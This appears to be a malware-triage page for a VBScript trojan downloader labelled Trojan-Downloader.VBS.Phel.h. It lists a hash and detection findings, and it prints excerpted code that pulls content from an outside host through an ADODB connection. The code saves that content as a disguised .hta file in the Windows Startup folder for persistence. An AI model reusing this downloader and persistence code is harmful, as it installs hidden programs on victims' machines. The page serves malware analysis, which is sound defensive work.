Benign Download

Trojan-Downloader.VBS.Phel.h

Code embeds cleartext HTTP URL literalReferences or resolves Windows Startup folder
SHA-2563bd58c8690d13b2752673b61c9c196da263c85b291673268d524affdd1d5190d
MaleculeH₂(CmF)

Evidence

Code embeds cleartext HTTP URL literal lines 1–10
1Dim Conn, rs
2Set Conn = CreateObject("ADODB.Connection")
3Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
4"Dbq=http://atheregis.info;" & _
5"Extensions=asc,csv,tab,txt;" & _
6"Persist Security Info=False"
⋯4 lines
Windows Start Menu Startup directory reference lines 11–15
11:16… * from foobar.txt", conn
12rs.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Microsoft Office.hta", adPersistXML
13rs.close
14conn.close
15window.close

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.